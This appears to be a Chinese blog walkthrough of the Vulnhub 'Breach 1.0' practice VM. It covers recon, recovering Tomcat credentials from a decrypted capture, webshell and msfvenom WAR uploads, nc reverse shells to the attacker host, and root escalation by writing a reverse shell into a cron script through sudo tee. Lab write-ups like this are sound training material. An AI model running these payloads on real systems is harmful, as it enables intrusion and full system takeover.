Vulnhub 渗透练习(一)—— Breach 1.0
环境搭建
环境下载:
https://www.vulnhub.com/entry/breach-1,152/
环境描述:
Vulnhub 中对此环境的描述:
VM 配置有静态 IP 地址 (192.168.110.140),因此您需要将仅主机适配器配置到该子网。
这里我用的是 VMware ,文件 -> 打开 .ova 文件创建新的虚拟机。
这边插一段不相关的内容,浅浅的了解一下。
虚拟机三种网络模式
1、仅主机模式:也就是host_only,这种模式仅仅只让虚拟机与本地物理机通信,不可以上网;
2、NAT模式:这种模式保留仅主机模式的功能下,还能让主机上网;
3、桥接模式:直接让虚拟机使用本地主机的网卡上网。
搭建环境
攻击机(kail)IP:192.168.110.129
靶机IP:192.168.110.140



最后开启两个虚拟机。
信息收集
端口扫描:
nmap -p- -sF 192.168.110.140

指纹识别:

渗透测试
信息搜集
访问靶机的 80 端口,在源码中有一串 base64,二次解码后可以得到一串字符串。


pgibbons:damnitfeel$goodtobeagang$ta
点击图片跳转到另一个页面:

用上面获得的账密登录。

可以用 exploit 来找找有没有这个 cms 的漏洞,有漏洞,但是页面我们没有权限进入。

导入PCAP、TLS 到 wireshark
仔细观察可以发现在收件箱里面有个 .keystore 文件,这个是 java 的密钥库、用来进行通信加密用的。

在账户信息这里可以看到 content 。

其中包含了一个数据包和,一个密钥密码为 tomcat

可以用 keytool 来提取证书,可以用 kail 自带的 keytool。

根据提示使用语句,口令就是邮件里提到的 tomcat

然后就是把密钥导进 wireshark。(编辑 -> 首选项)

端口我们扫到过,tomcat 的默认端口。

获得 tomcat 后台地址和密码
http 流里面有管理员密码

/_M@nag3Me/html
Authorization: Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC (base64)
tomcat:Tt\5D8F(#!*u=G)4m7zB
写马 tomcat getshell (三种 or more)
直接上传大马反弹 shell
报错页面有 tomcat 的版本,那么我们就可以搜索这个版本的漏洞。
(这个 tomcat 页面其他师傅说可以用 bp 打开)

tomcat 服务页面上传文件处,上传大马。

jsp 大马,给它转成 .war 格式的文件。

上传完后,访问 /xxx/xxx.jsp 页面并输入密码,上面的那个大马密码是 ninty。


但是总是会被定时删除,所以我们可以反弹 shell 保持连接。
nc -e /bin/bash 192.168.110.129 9090


利用 msfvenom 生成 shell 并反弹
msfconsole
msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.110.129 lport=9898 -f war -o shell.war
开启监听:
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.110.129
set lport 9898
run
上传 shell.war,并访问 /shell/ 。
启动 bash 模式。
python -c 'import pty;pty.spawn("/bin/bash")'

利用 冰蝎 生成 shell 并反弹
下载链接
把 冰蝎自带的 jsp 马压缩为 zip 格式,然后把 .zip 改为 .war,并上传。
但是不知道为什么一直连接失败,代理也开了,还有就是用的时候卡的一批,有没有大佬知道的,@ 我一下,多谢了。


信息收集
cat /etc/passwd
cat /etc/passwd
一大堆 UID 和 GID ,那么我们要注意哪些呢。
UID:UID的值为0时,表示系统管理员;(1-99)为系统预设账号;(100-499)保留给一些服务使用;(500-65535)给一般使用者使用,user用户的UID和GID分别是1000:1000。
setuid, setgid 可以来改变这种设置. setuid: 设置使文件在执行阶段具有文件所有者的权限。典型的文件是 /usr/bin/passwd. 如果一般用户执行该文件, 则在执行过程中, 该文件可以获得root权限, 从而可以更改用户的密码。 setgid: 该权限只对目录有效,目录被设置该位后, 任何用户在此目录下创建的文件都具有和该目录所属的组相同的组。
发现 milton和 blumbergh 账号。

登录 mysql
在 /var/www 下面有个 php 文件,里面有数据库的密码。

翻看数据库获得用户密码
找到 milton 密码 :6450d89bd3aff1d893b85d3ad65d2ec2

md5 解密一下,得到密码 thelaststraw

切换为用户 milton
su milton
thelaststraw

暂时没有在 /home/milton 下发现有用的。
查一下当前是什么系统,操作系统内核是什么。

系统内核版本为:Linux Breach 4.2.0-27-generic,不存在Ubuntu本地提权漏洞。存在本地提权漏洞内核版本是:Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04)
查看 milton 的 .bash_history 命令
发现 milton 用户曾经切换过 blumbergh 用户,需要 blumbergh 的密码。

找寻 blumbergh 密码
在 /var/www/html/images/bill.png 的 exif 信息有疑似密码的字符串:coffeestains
可以用 exiftool 来查询 exif 信息,或者用 strings 提取出图片可视字符,也可以用在线网站查询。

查看 blumbergh 历史命令

tidyup.sh 的作用是每三分钟,对 webapps 下的文件进行一次清理,这就是为什么上传的 shell 老是被删除的原因。

该定时任务 root 权限。

sudo -l 后发现能够以 root 权限执行 tee 命令和 tidyup.sh 脚本,而 tee 命令可以把输入的数据,复制到文件里。
那么也就是说我们可以把反弹 shell 的语句用 tee 命令写入tidyup.sh 脚本文件里,并执行这个脚本,那么不就可以拿到 root 权限了嘛。

利用定时任务提权
先把反弹语句写入 shell.txt。
echo "nc -e /bin/bash 192.168.110.129 9999" > shell.txt
再把 shell.txt 的内容写入 tidyup.sh 中。
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

写入成功。

等待 nc 反弹 root
此时就是 root 权限了,发现 flag 文件。

读取 flag
可以把 flair.jpg 给复制到我们可以查看的目录,比如 /var/www/html/images/flair.jpg
cp flair.jpg /var/www/html/images/flair.jpg


总结
跟着大佬们的步伐结合自己的思考,学会了很多东西,很多平时不曾注意到的点,也稍微知道了一些渗透的简要步骤,还有就是谢谢大佬们的无私。
参考文章
渗透测试工具一一Nmap(从初级到高级)
Vulnhub-Breach1.0
SSL证书中的keystore是什么
Msfvenom介绍及利用
反弹shell的方法总结
msfvenom之——生成各类Payload命令
相关文章:
Vulnhub 渗透练习(一)—— Breach 1.0
环境搭建 环境下载: https://www.vulnhub.com/entry/breach-1,152/ 环境描述: Vulnhub 中对此环境的描述: VM 配置有静态 IP 地址 (192.168.110.140),因此您需要将仅主机适配器配置到该子网。 这里我用的是 VMware ࿰…...
初探Spring采用Spring配置文件管理Bean
文章目录Spring容器演示--采用Spring配置文件管理Bean(一)创建Maven项目(二)添加Spring依赖(三)创建杀龙任务类(四)创建勇敢骑士类(五)采用传统方式让勇敢骑士…...
【手写 Vuex 源码】第十二篇 - Vuex 插件机制的实现
一,前言 上一篇,主要介绍了 Vuex 插件的开发,主要涉及以下几个点: Vuex 插件的使用介绍;Vuex 插件开发和使用分析;Vuex 插件机制的分析; 本篇,继续介绍 Vuex 插件机制的实现&…...
图像去噪技术简述
随着每天拍摄的数字图像数量激增,对更准确、更美观的图像的需求也在增加。然而,现代相机拍摄的图像不可避免地会受到噪声的影响,从而导致视觉图像质量下降。因此,需要在不丢失图像特征(边缘、角和其他尖锐结构…...
数据迁移——技术选型
日常我们在开发中,随着业务需求的变更,重构系统是很常见的事情。重构系统常见的一个场景是变更底层数据模型与存储结构。这种情况下就要对数据进行迁移,从而使业务能正常支行。 背景如下:老系统中使用了mongo数据库,由…...
第二十七章 java并发常见知识内容(CompletableFuture)
JAVA重要知识点CompletableFuture常见函数式编程操作创建 CompletableFuture静态工厂方法处理异步结算的结果异常处理组合 CompletableFuturethenCompose() 和 thenCombine() 区别并行运行多个 CompletableFutureCompletableFuture Java 8 才被引入的一个非常有用的用于异步编…...
Qt扫盲-QMake 使用概述
QMake 使用概述一、概述二、简单开始三、使应用程序可调试1. 添加平台特定的源文件2. 如果文件不存在,停止qmake3. 检查多个条件一、概述 本教程教你qmake的基础知识。qmake 其实就是一个自动化编译的流程控制文件,也是Qt程序的生成makefile的工具&…...
Spring Cloud之Zuul
目录 简介 Zuul中的过滤器 过滤器的执行流程 使用过滤器 route过滤器的默认三种配置 路由到服务 路由到url地址 转发给自己 自定义过滤器 简介 Zuul是Netflix开源的微服务网关,主要功能是路由转发和过滤器,其原理也是一系列filters࿰…...
为什么要有分布式锁?
Redis避坑指南:为什么要有分布式锁?作者:京东保险 张江涛1、为什么要有分布式锁?JUC提供的锁机制,可以保证在同一个JVM进程中同一时刻只有一个线程执行操作逻辑;多服务多节点的情况下,就意味着有…...
【Redis】Redis持久化之RDB详解(Redis专栏启动)
📫作者简介:小明java问道之路,2022年度博客之星全国TOP3,专注于后端、中间件、计算机底层、架构设计演进与稳定性建工设优化。文章内容兼具广度深度、大厂技术方案,对待技术喜欢推理加验证,就职于知名金融公…...
Retinanet网络与focal loss损失
参考代码:https://github.com/yhenon/pytorch-retinanet 1.损失函数 1)原理 本文一个核心的贡献点就是 focal loss。总损失依然分为两部分,一部分是分类损失,一部分是回归损失。 在讲分类损失之前,我们来回顾一下二…...
Spring事务的失效场景
事务失效场景 方法用private或final修饰 Spring底层使用了AOP,而AOP的实现方式有两种,分别是JDK动态代理和CGLIB,JDK动态代理是实现抽象接口,CGLIB是继承父类,无论哪种方式,都需要重写方法来进行方法增强,而…...
芯动联科在科创板IPO过会:拟募资10亿元,金晓冬为实际控制人
2月13日,上海证券交易所披露的信息显示,安徽芯动联科微系统股份有限公司(下称“芯动联科”)获得科创板上市委会议审议通过。据贝多财经了解,芯动联科于2022年6月24日在科创板递交招股书。 本次冲刺上市,芯…...
数据结构之单链表
一、链表的组成 链表是由一个一个的节点组成的,节点又是一个一个的对象, 相邻的节点之间产生联系,形成一条链表。 例子:假如现在有两个人,A和B,A保存了B的联系方式,这俩人之间就有了联系。 A和…...
儿子跟妈妈关系不好怎么办?这里有解决办法!
15岁的男孩子正处于青春期,很多男孩都傲慢自大,听不进去别人的建议,以自己为中心,认为自己能处理好自己的事情,不想听父母的唠叨。母亲面对青春期的孩子也是举手无措,语气不好,会让孩子更叛逆。…...
论文投稿指南——中文核心期刊推荐(植物保护)
【前言】 🚀 想发论文怎么办?手把手教你论文如何投稿!那么,首先要搞懂投稿目标——论文期刊 🎄 在期刊论文的分布中,存在一种普遍现象:即对于某一特定的学科或专业来说,少数期刊所含…...
华科万维C++章节练习4_6
【程序设计】 题目: 编程输出下列图形,中间一行英文字母由输入得到。 A B B B C C C C C D D D D D D D C C C C C B B B A 开头空一格,字母间空两格…...
详解子网技术
一 : Internet地址 Intemet实质上是把分布在世界各地的各种网络如计算机局域网和广域网、数字数据通信网以及公用电话交换网等互相连接起来而形成的超级网络。但是 , 网络的物理地址给Internet统一全网地址带来两个方面的问题: 第一,物理地址是物理网络技术的一种…...
chatGTP的全称Chat Generative Pre-trained Transformer
chatGPT,有时候我会拼写为:chatGTP,所以知道这个GTP的全称是很有用的。 ChatGPT全名:Chat Generative Pre-trained Transformer ,中文翻译是:聊天生成预训练变压器,所以是GPT,G是生…...
hive数据存储格式
1、Hive存储数据的格式如下: 存储数据格式存储形式TEXTFILE行式存储SEQUENCEFILE行式存储ORC列式存储PARQUET列式存储 2、行式存储和列式存储 解释: 1、上图左面为逻辑表;右面第一个为行式存储,第二个温列式存储; …...
Mybatis逆向工程,动态创建实体类、条件扩展类、Mapper接口、Mapper.xml映射文件
今天呢,博主的学习进度也是步入了Java Mybatis 框架,目前正在逐步杨帆旗航。 那么接下来就给大家出一期有关 Mybatis 逆向工程的教学,希望能对大家有所帮助,也特别欢迎大家指点不足之处,小生很乐意接受正确的建议&…...
linux arm系统烧录
1、打开瑞芯微程序 2、按住linux arm 的 recover按键 插入电源 3、当瑞芯微检测到有设备 4、松开recover按键 5、选择升级固件 6、点击固件选择本地刷机的linux arm 镜像 7、点击升级 (忘了有没有这步了 估计有) 刷机程序 和 镜像 就不提供了。要刷的时…...
【项目实战】通过多模态+LangGraph实现PPT生成助手
PPT自动生成系统 基于LangGraph的PPT自动生成系统,可以将Markdown文档自动转换为PPT演示文稿。 功能特点 Markdown解析:自动解析Markdown文档结构PPT模板分析:分析PPT模板的布局和风格智能布局决策:匹配内容与合适的PPT布局自动…...
高危文件识别的常用算法:原理、应用与企业场景
高危文件识别的常用算法:原理、应用与企业场景 高危文件识别旨在检测可能导致安全威胁的文件,如包含恶意代码、敏感数据或欺诈内容的文档,在企业协同办公环境中(如Teams、Google Workspace)尤为重要。结合大模型技术&…...
【git】把本地更改提交远程新分支feature_g
创建并切换新分支 git checkout -b feature_g 添加并提交更改 git add . git commit -m “实现图片上传功能” 推送到远程 git push -u origin feature_g...
html-<abbr> 缩写或首字母缩略词
定义与作用 <abbr> 标签用于表示缩写或首字母缩略词,它可以帮助用户更好地理解缩写的含义,尤其是对于那些不熟悉该缩写的用户。 title 属性的内容提供了缩写的详细说明。当用户将鼠标悬停在缩写上时,会显示一个提示框。 示例&#x…...
Yolov8 目标检测蒸馏学习记录
yolov8系列模型蒸馏基本流程,代码下载:这里本人提交了一个demo:djdll/Yolov8_Distillation: Yolov8轻量化_蒸馏代码实现 在轻量化模型设计中,**知识蒸馏(Knowledge Distillation)**被广泛应用,作为提升模型…...
jdbc查询mysql数据库时,出现id顺序错误的情况
我在repository中的查询语句如下所示,即传入一个List<intager>的数据,返回这些id的问题列表。但是由于数据库查询时ID列表的顺序与预期不一致,会导致返回的id是从小到大排列的,但我不希望这样。 Query("SELECT NEW com…...
aardio 自动识别验证码输入
技术尝试 上周在发学习日志时有网友提议“在网页上识别验证码”,于是尝试整合图像识别与网页自动化技术,完成了这套模拟登录流程。核心思路是:截图验证码→OCR识别→自动填充表单→提交并验证结果。 代码在这里 import soImage; import we…...
数据结构:泰勒展开式:霍纳法则(Horner‘s Rule)
目录 🔍 若用递归计算每一项,会发生什么? Horners Rule(霍纳法则) 第一步:我们从最原始的泰勒公式出发 第二步:从形式上重新观察展开式 🌟 第三步:引出霍纳法则&…...
